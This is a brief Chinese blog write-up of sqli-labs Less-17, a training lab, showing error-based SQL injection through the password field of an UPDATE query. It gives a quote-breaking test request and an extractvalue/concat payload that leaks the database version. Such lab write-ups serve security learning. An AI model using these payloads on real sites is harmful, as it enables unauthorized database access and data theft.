sqli-labs靶场Less-17(update注入)

发表于 2020-10-20 分类于 sqli-labs靶场阅读次数：
本文字数： 259 阅读时长 ≈ 1 分钟

Less17

本关可以看到是一个修改密码的过程，利用的是update语句，与再用select时是一样的。

尝试报错：

1	uname=admin&passwd=11'&submit=Submit

可以看到sql语句报错

尝试一下报错注入：

1	uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit